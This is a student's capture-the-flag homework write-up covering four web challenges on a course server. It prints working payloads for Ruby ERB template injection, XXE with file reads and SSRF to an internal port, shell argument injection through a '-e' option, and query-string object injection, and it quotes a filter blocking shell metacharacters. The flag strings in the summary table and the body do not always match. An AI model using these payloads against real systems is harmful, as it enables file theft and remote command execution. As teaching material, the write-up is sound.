

Homework Assignment 3

This document contains the write-ups for the four challenges of **Assignment 3**.

Problem ID	Lab Name	Captured Flag	Steps
Problem 1	Crazy	<code>fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fil13d_Wi7h_C7F_7h3_C7F_M4yd3_M3_Cr4zy}</code>	- Identify Ruby ERB template engine - Bypass output filtering using <code><% _erbout << ... %></code> - List server files and read the flag file - Extract the flag from the rendered output
Problem 2	Surfing	<code>fsuCTF{w4v3_4_fl4g}</code>	- Identify XXE vulnerability in XML parser - Use XXE to perform SSRF to internal service - Target <code>http://127.0.0.1:5001/</code> - Retrieve the flag from the internal server response
Problem 3	l33t-44s	<code>fsuCTF{wh9_h057_4ny7h1ng_0n_pr3m_wh3n_u_c0uld_b3_1337}</code>	- Analyze provided C source code - Identify argument injection via <code>-e</code> option - Execute system commands through backend binary - Locate the flag file using command execution - Dump file contents using <code>od -b</code> to avoid leet conversion - Convert octal output back to ASCII to recover the flag
Problem 4	fat_cat	<code>fsuCTF{1f_1_f17s_1_5i7s}</code>	- Review Express.js backend source code - Identify impossible length condition for input - Analyze <code>extended: true</code> URL encoding behavior - Inject an object instead of a string - Manually define a large <code>length</code> property - Bypass the condition and receive the flag

PROBLEM 1 - Crzay

The challenge presents a simple web interface with an input field.

The page contains a small script that intercepts the form submission, encodes the user input into **Base64**, and redirects the browser to `/room?crazy=[<input>]`. Upon visiting this URL, the server displays a massive block of text repeating the input hundreds of times.

1. Analysis

The initial analysis focuses on how the input is reflected. Since the response is massive and repetitive, I first check for **Cross-Site Scripting (XSS)**. However, I notice the header `x-xss-protection: 1; mode=block` is present.

```
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
content-length: 9416
```

I suspect **Server-Side Template Injection (SSTI)**. This happens when an application embeds user input into a template string before rendering it. If I can inject an expression that the server evaluates, I can achieve **Remote Code Execution (RCE)**.

I begin by testing the most common template syntaxes.

Payload	Result	Analysis
<code>{{7*7}}</code>	Literal <code>{{7*7}}</code>	It is not Python or PHP
<code>\${7*7}</code>	Literal <code>\${7*7}</code>	It is not Java or Mako
<code><%= 7*7 %></code>	"I might be crazy but I still know how Ruby works."	The engine is identified as Ruby

The fact that I receive a custom message instead of the result `49` indicates the presence of a Web Application Firewall (WAF) or a blacklist. The server detects the `<%=` tag (the "printing" tag in Ruby) and blocks the output.

2. Solution Strategy

I need to find a way to execute code without triggering the blacklist. In Ruby's ERB engine, there are two main tags:

- `<%= ... %>`: Executes code and prints the result
- `<% ... %>`: Executes code but does not print anything

test the execution-only tag:

- I send:** `<% 7*7 %>`
- Result:** The "Crazy" text appears, but the spaces where my input should be are completely **empty**.

I was crazy once. They locked me in a rubber room. A rubber room filled with **?** The **?** made me crazy. I

This implies that the code is executing, but because I am not using the `=`, the result is not being sent to the page.

I find that ERB uses an internal variable called `_erbout`. This is a string buffer where all the HTML content is stored before being sent to the client. When a developer uses `<%= some_code %>`, the engine is actually executing `<% _erbout << (some_code).to_s %>`

To see the output, I will have to manually push data into the server's output buffer. I try to manually append a value to this buffer:

- **I send:** `<% _erbout << 7*7 %>`
- **Result:** The page is filled with the character `"1"`.

Why "1"? I realize that in Ruby, when an Integer is appended to a String using the `<<` operator, it is often treated as an **ASCII value**. $7 \times 7 = 49$. In the ASCII table, the code `49` corresponds to the character `'1'`.

This confirms I have direct access to the output buffer.

3. Execution and Flag

Now that the filter can be bypassed by using `<% _erbout << ... %>`, I move toward looking for the flag.

I need to convert everything to a string using `.to_s` to avoid the ASCII conversion issue.

I use the `Dir` class to see what files are on the server.

Payload:

```
<% _erbout << Dir["*"].to_s %>
```

Output:

I was crazy once. They locked me in a rubber room. A rubber room filled with `["Dockerfile", "Gemfile", "Gemfile.lock", "app.rb", "docker-compose.yml", "flag.txt"]`.

I use `File.read` to extract the content of the flag.

Payload:

```
<% _erbout << File.read("flag.txt") %>
```

Output:

I was crazy once. They locked me in a rubber room. A rubber room filled with `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yd3_M3_Cr4zy}`.

Flag:

```
fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yd3_M3_Cr4zy}
```

PROBLEM 2 - Surfing

The challenge presents a simple web application for a **Surfboard Billing Invoice**. The user is greeted with a form to enter a name, surfboard model, and quantity.

1. Analysis

I started by inspecting the source code of the page. I noticed something relevant in the client-side logic. The form doesn't send a standard POST request. Instead, a script captures the input and wraps it into an **XML structure**, which is then encoded in **Base64** and sent to the endpoint `/process_invoice`.

```
// Construct XML payload
const xmlData = `<?xml version="1.0" encoding="UTF-8"?>
<invoice>
  <name>${name}</name>
  <model>${model}</model>
  <quantity>${quantity}</quantity>
</invoice>`;

// Encode XML data as base64
const base64Data = btoa(xmlData);
```

To see it I make a test request. After decoding, the payload sent is:

```
<?xml version="1.0" encoding="UTF-8"?>
<invoice>
  <name>test</name>
  <model>Shortboard</model>
  <quantity>1</quantity>
</invoice>
```

Inside the HTML, I also found a developer comment that suggested that there is an internal service running on **port 5001** that is not accessible from the outside.

```
<!--DELETE THIS COMMENT dev environ on port 5001 -->
```

2. Solution Strategy

I started by checking if the XML parser on the server was vulnerable to **External Entities**. An XXE vulnerability occurs when an application parses XML input that contains a reference to an external entity, and the parser is misconfigured to resolve that entity.

The plan is to define a custom entity and see if I could read a local file like `/etc/passwd`. If the server returns the content of that file in the "Customer Name" field, It will mean it works.

I crafted a payload to read `/etc/passwd`.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<invoice>
```

```
<name>&xxe;</name>
<model>Shortboard</model>
<quantity>1</quantity>
</invoice>
```

I encoded this in Base64 and sent it via a POST request.

```
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.9.25
Date: Sat, 07 Feb 2026 04:45:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 81
Connection: close
```

```
Invoice successfully created for customer: .
Order: 1 x Shortboard Surfboard(s).|
```

The result was empty. This might mean one of two things: either the `file://` wrapper is disabled, or the server is not showing the output of the entity.

Since the server didn't allow reading local files, I will use the XXE to perform a **Server-Side Request Forgery (SSRF)**. Since I know there was a dev environment on port 5001, I can define an entity that points to `http://127.0.0.1:5001/`. The server will then fetch the content of its own internal port and display it to me.

3. Execution and Flag

I modified the payload to target the internal web server.

Payload:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:5001/">
]>
<invoice>
  <name>&xxe;</name>
  <model>Shortboard</model>
  <quantity>1</quantity>
</invoice>
```

Again, I encoded this in Base64 and sent it via a POST request.

```
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.9.25
Date: Sat, 07 Feb 2026 04:51:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 100
Connection: close
```

```
Invoice successfully created for customer:
fsuCTF{w4v3_4_fl4g}.
Order: 1 x Shortboard Surfboard(s).|
```

The internal service on port 5001 simply served the flag as its index page.

Flag: `fsuCTF{w4v3_4_fl4g}`

PROBLEM 3 - I33t-44s

The challenge presents a web-based "Leet-as-a-Service" tool. It allows users to input plaintext and convert it into leetspeak using a backend utility written in C. The challenge provides a web interface and a link to the open-source repository containing the C code.

1. Analysis

The website consists of an input box for the `payload` and two checkboxes for "CTF Mode" (`-c`) and "Random Mode" (`-r`). Intercepting the traffic with ZAP Proxy, I saw that the form sends a POST request with two parameters: `payload` and `options`.

```
POST http://ctf.cs.fsu.edu:65017/ HTTP/1.1
host: ctf.cs.fsu.edu:65017
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://ctf.cs.fsu.edu:65017
Connection: keep-alive
Referer: http://ctf.cs.fsu.edu:65017/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

```
payload=test&options=-c+-r|
```

I start by testing common web vulnerabilities. Since the app interacts with a backend binary, my first thought was **Command Injection**.

Example:

```
payload=test&options=-c;ls`
```

The result for all of my attempts is similar: `Your options look (';') malicious so I've blocked it.` The backend appears to have a blacklist filter. It blocks characters like `;`, `|`, and `\n`.

Analyzing the C source code I found an interesting flag in the `parse_opts` function of `leetspeak.c`:

```
if (strcmp(argv[i], "-e") == 0) {
    exec_mode = 1;
    if (i+1 < argc) {
        ++i;
        command = malloc(strlen(argv[i])*sizeof(char));
        strcpy(command, argv[i]);
    }
}
```

If the `-e` option is passed, the program calls `executeCommand(command)`, which uses `execvp` to run `sh -c [command]`. This looks like an **Argument Injection** vulnerability. If I can pass `-e` through the web `options` parameter, I can execute system commands.

2. Solution Strategy

To begin with I tried to trigger the RCE with `options=-e ls`. The server successfully executes the command and returns its output, encoded in leatspeak:

```
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 07 Feb 2026 05:17:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6209
Connection: keep-alive

<div class="terminal-window">
  <span style="color: var(--secondary)">> OUTPUT_LOG:</span><br><br>
  D0ck3rfi13
  __pyc4ch3__
  4pp.py
  d3fini731y_n07_7h3_fl46.7x7
  1337
  1337.c
  r3quir3m3n75.7x7
  5747ic
  v3nv
  w56i.py
```

I notice the line `d3fini7ely_n07_7h3_fl4g.7x7`, referring to a file called `definitely_not_the_flag.txt` which looks that is definitely the flag.

I try to read its content with the same method using `more`, but since this command has more than one word it didn't work as expected. I got a timeout error that revealed the internal command structure:

⚡ Error

```
Command '['/usr/bin/env', 'sh', '-c', 'echo test | ./leet -e more
definitely_not_the_flag.txt | cat']' timed out`
```

This told me two things:

1. The Python wrapper uses a shell to pipe data.
2. If I use spaces in my `options`, Python's `.split()` method breaks my command into separate arguments, and the C binary only takes the first word after `-e`.

3. Execution and Flag

By wrapping the command in quotes, we force the shell to treat everything inside as a single argument for the `-e` flag.

We send the POST request again with the command inside quotes, and this time no error occurs, but we run into another problem:

Payload:

```
payload=test&options=-e "more definitely_not_the_flag.txt"
```

The word **"flag"** is present in a blacklist:

```
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 07 Feb 2026 05:27:44 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6170
Connection: keep-alive

<div class="terminal-window">
  <span style="color: var(--secondary)">> OUTPUT_LOG:</span><br><br>
  Your options look (&#39;flag&#39;) malicious so I&#39;ve blocked it.
</div>
```

To bypass this blacklist, we use a wildcard `*`, avoiding writing the word "flag" in the command. The payload finally sent in the POST request is:

```
payload=test&options=-e "cat definitely*"
```

This time we successfully read the contents of the file, but once again, another problem appears. The server executed the command, read the file, and **translated the flag into leetspeak** before displaying it, returning the output `f5uC7F{wh9_h057_4ny7h1n6_0n_pr3m_wh3n_u_c0u1d_83_1337}`


```
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 07 Feb 2026 05:33:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6157
Connection: keep-alive
```

```
<div class="terminal-window">
  <span style="color: var(--secondary)"> OUTPUT_LOG:</
span><br><br>
  f5uC7F{wh9_h057_4ny7h1n6_0n_pr3m_wh3n_u_c0uld_83_1337}
</div>
```

We could try to reverse the translation by inspecting the transformations implemented in the C code. The problem is that the function responsible for the conversion (`convert2leet`) performs a destructive transformation, meaning it creates collisions that are impossible to resolve.

For example:

```
switch (c) {
    case 'a': case 'A': input[i] = '4'; break;
    // ...
}
```

- If the original file contains an 'a', the program outputs '4'.
- If the original file contains a '4', the program also outputs '4' (because '4' does not trigger any `switch` case and remains unchanged).

When we see a 4 in the output, it is mathematically impossible to know whether the original character was a letter or a number. Since the flag contained combinations of numbers interleaved with letters, manually translating the flag was not an option.

We need a way to extract the contents of the file without it passing through the character translation filter. We observe that the C code only alters alphabetic characters (`a, b, e, g, l, o, s, t`). **Numbers are not modified** by the `switch`.

If we convert the contents of the file into a purely numeric representation before the binary processed it, the program would see numbers, ignore them, and return them intact.

We chose **od (Octal Dump)**, a standard Linux tool used to dump files in different formats. We used the `-b` flag to obtain the octal representation byte by byte.

We built the payload to execute `od` instead of `cat`, keeping the quotes to protect the arguments:

```
payload=test&options=-e+"od+-b+definitely*"
```

After sending the payload, the server responded with a sequence of pure octal numbers:

```

<div class="terminal-window">
  <span style="color: var(--secondary)">> OUTPUT_LOG:</span><br><br>
    0000000 146 163 165 103 124 106 173 167 150 071 137 150 060 065 067 137
0000020 064 156 171 067 150 061 156 147 137 060 156 137 160 162 063 155
0000040 137 167 150 063 156 137 165 137 143 060 165 061 144 137 142 063
0000060 137 061 063 063 067 175 012
0000067

</div>

```

I convert the octal values to ASCII using an online tool to obtain the real text and got:

Flag: `fsuCTF{wh9_h057_4ny7h1ng_0n_pr3m_wh3n_u_c0u1d_b3_1337}`

PROBLEM 4 - fat_cat

The challenge presents a web application that shows a cat GIF. The objective is to "feed" the cat an offering through a text input field. The application informs us that the cat requires a "massive offering to be satisfied." Upon submitting a standard string, the server redirects to a "Still Hungry" page, indicating that the input did not meet the required criteria.

1. Analysis

I started by inspecting the provided source code for the application. The server uses the **Express** framework and defines three main routes: `/`, `/feed`, and `/still-hungry`.

The core logic resides in the `POST /feed` endpoint:

```

app.post("/feed", (req, res) => {
  const food = req.body.food;

  if (food && food.length > 0xB16_C4A6A5) {
    res.send(`
<!DOCTYPE html>

```

The condition to obtain the flag is `food.length > 0xB16_C4A6A5`. I first converted the hexadecimal value to a decimal integer to understand the scale of the requirement:

$$0xB16_C4A6A5 = 47,627,118,245$$

This means the `food` variable must have a length of over **47 billion characters**.

I initially tried to send a standard POST request with a simple string to see the behavior:

```
POST http://ctf.cs.fsu.edu:65018/feed HTTP/1.1
host: ctf.cs.fsu.edu:65018
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://ctf.cs.fsu.edu:65018
Connection: keep-alive
Referer: http://ctf.cs.fsu.edu:65018/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

`food=test`

The result is a `HTTP 302 Redirect to /still-hungry` from the server.

Since the cat expects a string over 47 billion characters, sending a string big enough is not an option.

2. Solution Strategy

While reviewing the configuration, I noticed a specific line in the Express setup:

```
import express from "express";

const app = express();

app.use(express.urlencoded({ extended: true }));
app.use(express.static("public"));
```

I researched the difference between `extended: false` and `extended: true`.

- `extended: false`: Uses the classic `querystring` library
- `extended: true`: Uses the `qs` library

My research showed that the `qs` library allows for the creation of **nested objects** through the URI-encoded syntax. For example, a payload like `user[name]=admin` is parsed as `{ user: { name: 'admin' } }`.

In JavaScript, the `.length` property is commonly associated with strings and arrays. However, if I can control the input to be an **Object** instead of a **String**, I can manually define a property named `length`.

3. Execution and Flag

To inject an object with a specific property using the `urlencoded` format, I used the square bracket notation: `food[length]=value`.

I chose a value slightly larger than the requirement: `47,627,118,246`.

```
POST http://ctf.cs.fsu.edu:65018/feed HTTP/1.1
host: ctf.cs.fsu.edu:65018
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
content-length: 24
Origin: http://ctf.cs.fsu.edu:65018
Connection: keep-alive
Referer: http://ctf.cs.fsu.edu:65018/
Upgrade-Insecure-Requests: 1

food[length]=47627118246
```

The server processed the request. Because `extended` was set to `true`, `food` became the object `{ length: "47627118246" }`. When the `if` statement evaluated `food.length`, it retrieved my injected value. JavaScript then performed an implicit type conversion (casting the string to a number) to compare it with the hexadecimal constant.

The condition evaluated to `true`, and the server returned the flag:

```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1197
ETag: W/"4ad-cjWEpeV0l7NfuEGVVcm468Yi/aw"
Date: Fri, 06 Feb 2026 17:19:56 GMT
Connection: keep-alive
```

```
<div class="flag">
  FLAG: fsuCTF{1f_1_f17s_1_5i7s}
</div>
</body>
</html>
```

Flag: `fsuCTF{1f_1_f17s_1_5i7s}`